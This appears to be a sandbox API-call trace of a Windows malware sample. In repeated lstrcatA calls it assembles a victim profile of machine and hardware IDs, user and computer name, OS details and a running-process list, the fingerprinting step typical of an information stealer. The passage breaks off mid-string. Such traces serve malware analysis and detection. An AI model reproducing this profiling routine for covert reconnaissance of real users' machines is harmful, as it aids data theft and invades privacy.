d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n"
[0054.872] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x654, pcPriClassBase=8, dwFlags=0x0, szExeFile="measurenationalhold.exe")) returned 1
[0054.873] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- "
[0054.873] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- ", lpString2="measurenationalhold.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe"
[0054.873] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe ["
[0054.873] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da78
[0054.873] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9a8
[0054.873] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.873] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [", lpString2="2340" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- property.exe [1700]\n- womanboard.exe [732]\n- whole.exe [2836]\n- growth_city.exe [1732]\n- politicseventtime.exe [1272]\n- hold-beautiful.exe [984]\n- trade.exe [780]\n- measurenationalhold.exe [2340"
[0054.873] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620]\n- svchost.exe [1668]\n- RuntimeBroker.exe [1736]\n- ShellExperienceHost.exe [2004]\n- SearchUI.exe [1660]\n- taskhostw.exe [2328]\n- svchost.exe [1608]\n- WMIADAP.exe [776]\n- WmiPrvSE.exe [1636]\n- iexplore.exe [296]\n- iexplore.exe [2984]\n- series_others.exe [1996]\n- fundnorth.exe [2664]\n- shot bank.exe [384]\n- 